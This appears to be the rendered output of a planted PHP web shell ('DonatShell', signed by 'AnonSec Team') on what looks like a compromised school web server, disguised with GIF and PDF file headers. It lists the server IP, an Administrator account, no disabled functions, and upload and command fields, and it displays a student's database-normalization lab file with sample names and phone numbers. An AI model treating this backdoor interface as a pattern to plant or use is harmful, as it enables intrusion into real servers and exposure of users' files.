GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/16562071/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/16562071/Lab07/CST1600_JessicaMcClay_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF: studentInfo (StudentID* HomeMobilePhoneNumbers)
Major: (Majorcode1, MajorCode2, MajorCode3) 


2NF: StudentInfo (StudentID*@ firstname, lastname)
Major: (Majors*@)
StudentContact (Mobile*@ Home) 

 (Note: broke down homemobilephonenumbers into StudentContact then added Mobile, Home. Changed Majorcode1,2,3 to Majors. Added first name and lastname field. 

3NF:StudentInfo (StudentID*@ firstname, lastname)
Majors (MajorName, MajorID*)
StudentContact (Mobile*@ Home
StudentMajor(StudentID*@, MajorID@)

note :reworked majors table, added student majors table. 

Three data rows:
Studentinfo(firstname, lastname, StudentID*)
           Avram,        Hinton   34673656,
           Hayes,        Gibson   83681840,
           Kristen,      Acosta   94086534,

Major (MajorName*,  MajorID*)
      CST              1
      NSA              2
      CSS              3
      CP               4
      MAD              5   
        

StudentContact  (Home,          Mobile,          StudentID*@)
                103-391-7811,   676-683-6301,     34673656
                                447-149-5334,     83681840
                                972-658-1570,     94086534
 


Anon7 - 2022
AnonSec Team